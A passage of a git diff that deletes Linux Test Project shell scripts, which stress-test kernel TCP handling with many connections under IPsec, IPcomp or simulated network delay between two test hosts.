-IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic08 b/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic08 deleted file mode 100644 index 115b5f1f..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic08 +++ /dev/null @@ -1,64 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffnic08 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different NIC with the following condition: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec is not used -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=tcp6-multi-diffnic08 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic09 b/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic09 deleted file mode 100644 index 13a7ea6c..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic09 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffnic09 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different NIC with the following condition: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=tcp6-multi-diffnic09 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic10 b/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic10 deleted file mode 100644 index ceceaf2a..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic10 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffnic10 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different NIC with the following condition: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=tcp6-multi-diffnic10 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic11 b/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic11 deleted file mode 100644 index 731e2616..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic11 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffnic11 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different NIC with the following condition: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=tcp6-multi-diffnic11 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic12 b/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic12 deleted file mode 100644 index 60679d87..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic12 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffnic12 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different NIC with the following condition: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=tcp6-multi-diffnic12 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic13 b/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic13 deleted file mode 100644 index 369d44cb..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic13 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffnic13 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different NIC with the following condition: -# - The version of IP is IPv6 -# - Network is delayed -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=tcp6-multi-diffnic13 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic14 b/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic14 deleted file mode 100644 index 06402503..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffnic/tcp6-multi-diffnic14 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-multi-diffnic14 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different NIC with the following condition: -# - The version of IP is IPv6 -# - Network is delayed -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffnic testcase -# - -# The test case ID -TCID=tcp6-multi-diffnic14 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-multi-diffnic01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffport/00_Descriptions.txt b/ltp/testcases/network/stress/tcp/multi-diffport/00_Descriptions.txt deleted file mode 100644 index 7b99a9c3..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffport/00_Descriptions.txt +++ /dev/null @@ -1,125 +0,0 @@ -Verify that the kernel is not crashed with multiple connection to the -different ports - -tcp4-multi-diffport01 - IPv4 - -tcp4-multi-diffport02 - IPv4 - IPsec [ AH / transport ] - -tcp4-multi-diffport03 - IPv4 - IPsec [ AH / tunnel ] - -tcp4-multi-diffport04 - IPv4 - IPsec [ ESP / transport ] - -tcp4-multi-diffport05 - IPv4 - IPsec [ ESP / tunnel ] - -tcp4-multi-diffport06 - IPv4 - IPcomp [ transport ] - -tcp4-multi-diffport07 - IPv4 - IPcomp [ tunnel ] - -tcp4-multi-diffport08 - IPv4 - Network is delayed - -tcp4-multi-diffport09 - IPv4 - IPsec [ AH / transport ] - Network is delayed - -tcp4-multi-diffport10 - IPv4 - IPsec [ AH / tunnel ] - Network is delayed - -tcp4-multi-diffport11 - IPv4 - IPsec [ ESP / transport ] - Network is delayed - -tcp4-multi-diffport12 - IPv4 - IPsec [ ESP / tunnel ] - Network is delayed - -tcp4-multi-diffport13 - IPv4 - IPcomp [ transport ] - Network is delayed - -tcp4-multi-diffport14 - IPv4 - IPcomp [ tunnel ] - Network is delayed - - -tcp6-multi-diffport01 - IPv6 - -tcp6-multi-diffport02 - IPv6 - IPsec [ AH / transport ] - -tcp6-multi-diffport03 - IPv6 - IPsec [ AH / tunnel ] - -tcp6-multi-diffport04 - IPv6 - IPsec [ ESP / transport ] - -tcp6-multi-diffport05 - IPv6 - IPsec [ ESP / tunnel ] - -tcp6-multi-diffport06 - IPv6 - IPcomp [ transport ] - -tcp6-multi-diffport07 - IPv6 - IPcomp [ tunnel ] - -tcp6-multi-diffport08 - IPv6 - Network is delayed - -tcp6-multi-diffport09 - IPv6 - IPsec [ AH / transport ] - Network is delayed - -tcp6-multi-diffport10 - IPv6 - IPsec [ AH / tunnel ] - Network is delayed - -tcp6-multi-diffport11 - IPv6 - IPsec [ ESP / transport ] - Network is delayed - -tcp6-multi-diffport12 - IPv6 - IPsec [ ESP / tunnel ] - Network is delayed - -tcp6-multi-diffport13 - IPv6 - IPcomp [ transport ] - Network is delayed - -tcp6-multi-diffport14 - IPv6 - IPcomp [ tunnel ] - Network is delayed diff --git a/ltp/testcases/network/stress/tcp/multi-diffport/Makefile b/ltp/testcases/network/stress/tcp/multi-diffport/Makefile deleted file mode 100644 index 4f1b77be..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffport/Makefile +++ /dev/null @@ -1,29 +0,0 @@ -# -# network/stress/tcp/multi-diffport testcases Makefile. -# -# Copyright (C) 2009, Cisco Systems Inc. -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License along -# with this program; if not, write to the Free Software Foundation, Inc., -# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. -# -# Ngie Cooper, October 2009 -# - -top_srcdir ?= ../../../../.. - -include $(top_srcdir)/include/mk/env_pre.mk - -INSTALL_TARGETS := tcp* - -include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport01 b/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport01 deleted file mode 100644 index 6f62cd10..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport01 +++ /dev/null @@ -1,382 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffport01 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different ports with the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPsec is not used -# -# *) This script may be read by the other test case -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# The test case ID, the test case count and the total number of test case -TCID=${TCID:-tcp4-multi-diffport01} -TST_TOTAL=1 -TST_COUNT=1 -export TCID -export TST_COUNT -export TST_TOTAL - -# Test description -tst_resm TINFO "Verify that the kernel is not crashed with multiple connection to the different ports." - -# Make sure the value of LTPROOT -LTPROOT=${LTPROOT:-`(cd ../../../../.. ; pwd)`} -export LTPROOT - -# Check the environmanet variable -. check_envval || exit $TST_TOTAL - -# Dulation of the test [sec] -NS_DURATION=${NS_DURATION:-3600} # 1 hour - -# Quantity of the connection for multi connection test -CONNECTION_TOTAL=${CONNECTION_TOTAL:-4000} - -#The number of the test link where tests run -LINK_NUM=${LINK_NUM:-0} - -# The version of IP -IP_VER=${IP_VER:-4} - -# true, if ipsec is used -DO_IPSEC=${DO_IPSEC:-false} - -# The value of SPI -SPI=${SPI:-1000} - -# IPsec Protocol ( ah / esp / ipcomp ) -IPSEC_PROTO=${IPSEC_PROTO:-ah} - -# IPsec Mode ( transport / tunnel ) -IPSEC_MODE=${IPSEC_MODE:-transport} - -# true, if network is delayed -DO_NET_DELAY=${DO_NET_DELAY:-false} - -# Amount of network delay [ms] -NET_DELAY=${NET_DELAY:-600} - -# The deflection of network delay [ms] -NET_DELAY_DEFL=${NET_DELAY_DEFL:-200} - - -#----------------------------------------------------------------------- -# -# Function: do_cleanup -# -# Description: -# Recover the system configuration -# -#----------------------------------------------------------------------- -do_cleanup() -{ - # Kill the tcp traffic server - killall_tcp_traffic - - # Unset SAD/SPD - output_ipsec_conf flush | setkey -c >/dev/null 2>&1 - $LTP_RSH $RHOST ${LTPROOT}/'testcases/bin/output_ipsec_conf flush | PATH=/sbin:/usr/sbin:$PATH setkey -c' >/dev/null 2>&1 - - # Unset network delay - if [ x$rhost_ifname = x ]; then - rhost_ifname=`get_ifname rhost $LINK_NUM` - fi - $LTP_RSH $RHOST "PATH=/sbin:/usr/sbin:$PATH tc qdisc del dev $rhost_ifname root netem" >/dev/null 2>&1 - - # Clean up each interface - initialize_if lhost ${LINK_NUM} - initialize_if rhost ${LINK_NUM} -} - - -#----------------------------------------------------------------------- -# -# Setup -# - -# Unset the maximum number of processes -ulimit -u unlimited - -# Output the informaion -tst_resm TINFO "- Test duration is $NS_DURATION [sec]" -tst_resm TINFO "- Target number of the connection is $CONNECTION_TOTAL" -tst_resm TINFO "- Version of IP is IPv${IP_VER}" - -if $DO_NET_DELAY ; then - message=`check_netem` - if [ $? -ne 0 ]; then - tst_resm TBROK "$message" - exit 1 - fi - tst_resm TINFO "- Network delay is ${NET_DELAY}ms +/- ${NET_DELAY_DEFL}ms" -fi - -if $DO_IPSEC ; then - message=`check_setkey` - if [ $? -ne 0 ]; then - tst_resm TBROK "$message" - exit 1 - fi - - case $IPSEC_PROTO in - ah) - tst_resm TINFO "- IPsec [ AH / $IPSEC_MODE ]" - ;; - esp) - tst_resm TINFO "- IPsec [ ESP / $IPSEC_MODE ]" - ;; - ipcomp) - tst_resm TINFO "- IPcomp [ $IPSEC_MODE ]" - ;; - esac -fi - -# name of interface of the local/remote host -lhost_ifname=`get_ifname lhost $LINK_NUM` -if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to get the interface name at the local host" - exit $TST_TOTAL -fi - -rhost_ifname=`get_ifname rhost $LINK_NUM` -if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to get the interface name at the remote host" - exit $TST_TOTAL -fi - -# Initialize the system configuration -do_cleanup - -# Call do_cleanup function before exit -trap do_cleanup 0 - -# Configurate IP addresses -case $IP_VER in - 4) - # Network portion of the IPv4 address - network_part=${IPV4_NETWORK:-"10.0.0"} - - # Netmask of the IPv4 network - network_mask=24 - - # Host portion of the IPv4 address - lhost_host_part=${LHOST_IPV4_HOST:-"2"} # local host - rhost_host_part=${RHOST_IPV4_HOST:-"1"} # remote host - - # Set IPv4 addresses to the interfaces - set_ipv4addr lhost $LINK_NUM $network_part $lhost_host_part - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to add any IP address at the local host" - exit 1 - fi - set_ipv4addr rhost $LINK_NUM $network_part $rhost_host_part - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to add any IP address at the remote host" - exit 1 - fi - - # IPv4 address of the local/remote host - lhost_addr="${network_part}.${lhost_host_part}" - rhost_addr="${network_part}.${rhost_host_part}" - ;; - - 6) - # Network portion of the IPv6 address - network_part="fd00:1:1:1" - - # Netmask of the IPv6 network - network_mask=64 - - # Host portion of the IPv6 address - lhost_host_part=":2" # local host - rhost_host_part=":1" # remote host - - # Set IPv6 addresses to the interfaces - add_ipv6addr lhost $LINK_NUM $network_part $lhost_host_part - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to add any IP address at the local host" - exit 1 - fi - - add_ipv6addr rhost $LINK_NUM $network_part $rhost_host_part - if [ $? -ne 0 ]; then - tst_resm TBROK "Failed to add any IP address at the remote host" - exit 1 - fi - - # IPv6 address of the local/remote host - lhost_addr="${network_part}:${lhost_host_part}" - rhost_addr="${network_part}:${rhost_host_part}" - ;; - - *) - tst_resm TBROK "Unknown IP version" - ;; -esac - -# Make the network delay -if $DO_NET_DELAY ; then - ret=`$LTP_RSH $RHOST 'PATH=/sbin:/usr/sbin:$PATH tc' qdisc add dev $rhost_ifname root netem delay ${NET_DELAY}ms ${NET_DELAY_DEFL}ms distribution normal' ; echo $?'` - if [ $ret -ne 0 ]; then - tst_resm TBROK "Failed to make the delayed network" - exit 1 - fi -fi - -# Configure SAD/SPD -if $DO_IPSEC ; then - ipsec_log=`mktemp -p $TMPDIR` - - output_ipsec_conf src \ - $IPSEC_PROTO $IPSEC_MODE $SPI $lhost_addr $rhost_addr \ - | setkey -c 2>&1 | tee $ipsec_log - if [ $? -ne 0 -o -s $ipsec_log ]; then - tst_resm TBROK "Failed to configure SAD/SPD on the local host." - rm -f $ipsec_log - exit 1 - fi - - $LTP_RSH $RHOST ${LTPROOT}/testcases/bin/output_ipsec_conf dst $IPSEC_PROTO $IPSEC_MODE $SPI $lhost_addr $rhost_addr' | PATH=/sbin:/usr/sbin:$PATH setkey -c' 2>&1 | tee $ipsec_log - if [ $? -ne 0 -o -s $ipsec_log ]; then - tst_resm TBROK "Failed to configure SAD/SPD on the remote host." - rm -f $ipsec_log - exit 1 - fi - rm -f $ipsec_log -fi - -# Make sure the connectvity -case $IP_VER in - 4) - ret=`$LTP_RSH $RHOST ${LTPROOT}/testcases/bin/check_icmpv4_connectivity $rhost_ifname $lhost_addr' ; echo $?'` - if [ $ret -ne 0 ]; then - tst_resm TBROK "There is no IPv4 connectivity." - exit 1 - fi - ;; - - 6) - ret=`$LTP_RSH $RHOST ${LTPROOT}/testcases/bin/check_icmpv6_connectivity $rhost_ifname $lhost_addr' ; echo $?'` - if [ $ret -ne 0 ]; then - tst_resm TBROK "There is no IPv6 connectivity." - exit 1 - fi - ;; -esac - - -#----------------------------------------------------------------------- -# -# Main -# -# - -# Find the available consecutive ports -portbundle=`find_portbundle tcp 1025 $CONNECTION_TOTAL` -if [ $? -ne 0 ]; then - tst_resm TBROK "No port is available." - exit 1 -fi - -start_port=`echo $portbundle | cut -f 1 -d '-'` -end_port=`echo $portbundle | cut -f 2 -d '-'` - -# Making connections -connection_num=0 -current_port=$start_port -while [ $current_port -le $end_port ]; do - # Run a server - ns-tcpserver -b -f $IP_VER -p $current_port - if [ $? -ne 0 ]; then - # Failed to start no server - if [ $connection_num -eq 0 ]; then - tst_resm TFAIL "Failed to run a server" - exit 1 - fi - # Failed to start a server - tst_resm TINFO "$connection_num seems the maximum number of the server" - break - fi - - # Run a clinet - ret=`$LTP_RSH $RHOST ${LTPROOT}/testcases/bin/ns-tcpclient -b -f $IP_VER -S $lhost_addr -p $current_port' ; echo $?'` - if [ $ret -ne 0 ]; then - # Failed to start any client - if [ $connection_num -eq 0 ]; then - tst_resm TFAIL "Failed to run any client." - exit 1 - fi - # Failed to start a client - tst_resm TINFO "$connection_num seems the maximum number of the client" - break - fi - - current_port=`expr $current_port + 1` - connection_num=`expr $connection_num + 1` -done - - -# Watch the TCP traffic server -start_epoc=`date +%s` -while true ; do - current_epoc=`date +%s` - elapse_epoc=`expr $current_epoc - $start_epoc` - if [ $elapse_epoc -ge $NS_DURATION ]; then - killall -SIGHUP ns-tcpserver - break - else - ps auxw | fgrep -v grep | fgrep -l ns-tcpserver >/dev/null 2>&1 - if [ $? -ne 0 ]; then - tst_resm TFAIL "All tcp traffic servers are dead in $elapse_epoc [sec]" - exit 1 - fi - fi - sleep 1 -done - -#----------------------------------------------------------------------- -# -# Clean up -# - -tst_resm TPASS "Test is finished successfully." -exit 0 diff --git a/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport02 b/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport02 deleted file mode 100644 index a701d803..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport02 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-multi-diffport02 -# -# Description: -# Verify that the kernel is not crashed with multiple connection to the -# different ports with the following condition: -# - The version of IP is IPv4 -# - Network is not delayed -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each multi-diffport testcase -# - -# The test case ID -TCID=tcp4-multi-diffport02 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-multi-diffport01 diff --git a/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport03 b/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport03 deleted file mode 100644 index 72031b32..00000000 --- a/ltp/testcases/network/stress/tcp/multi-diffport/tcp4-multi-diffport03 +++ /dev/null @@ -1,70 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth 